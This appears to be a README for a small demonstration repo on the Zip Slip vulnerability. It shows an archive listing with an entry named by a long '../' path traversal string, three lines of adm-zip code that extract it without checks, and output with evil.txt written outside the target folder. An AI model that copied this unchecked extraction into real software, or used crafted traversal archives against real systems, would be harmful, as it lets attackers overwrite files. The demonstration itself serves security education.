This repo demonstrates the Zip Slip vulnerability using very few lines of code.
Inside the zipped folder we have two files, one is just named good.txt and the other has a ridiculous path traversal in its name.
Listing archive: zip-slip.zip
--
Path = zip-slip.zip
Type = zip
Physical Size = 545
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-04-15 13:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt
------------------- ----- ------------ ------------ ------------------------
2018-04-15 22:04:42 39 39 2 files
You can perform the exploit by running the application using the following commands:
npm install
node index.js
Inside of index.js there are only three lines of code (shown below). The sole purpose of this application is doing is taking the zip-slip.zip and extracting the files to the folder /tmp/safe. In fact, after you run the node index.js command, the application has been run and the exploit was executed.
var AdmZip = require('adm-zip');
var zip = new AdmZip("./zip-slip.zip");
zip.extractAllTo("/tmp/safe");
When extracting the good.txt file it is simply extracted to the /tmp/safe directory. However, when extracting the evil.txt the path traversal in the name actually extracts it outside of the /tmp/safe directory!
After running the application above, verifying it worked is simple.
$ ls -al /tmp/*
-rw-rw-rw- 1 user wheel 20 Nov 14 00:16 /tmp/evil.txt
/tmp/safe:
total 8
drwxr-xr-x 3 user wheel 96 Nov 14 00:16 .
drwxrwxrwt 6 root wheel 192 Nov 14 00:16 ..
-rw-rw-rw- 1 user wheel 19 Nov 14 00:16 good.txt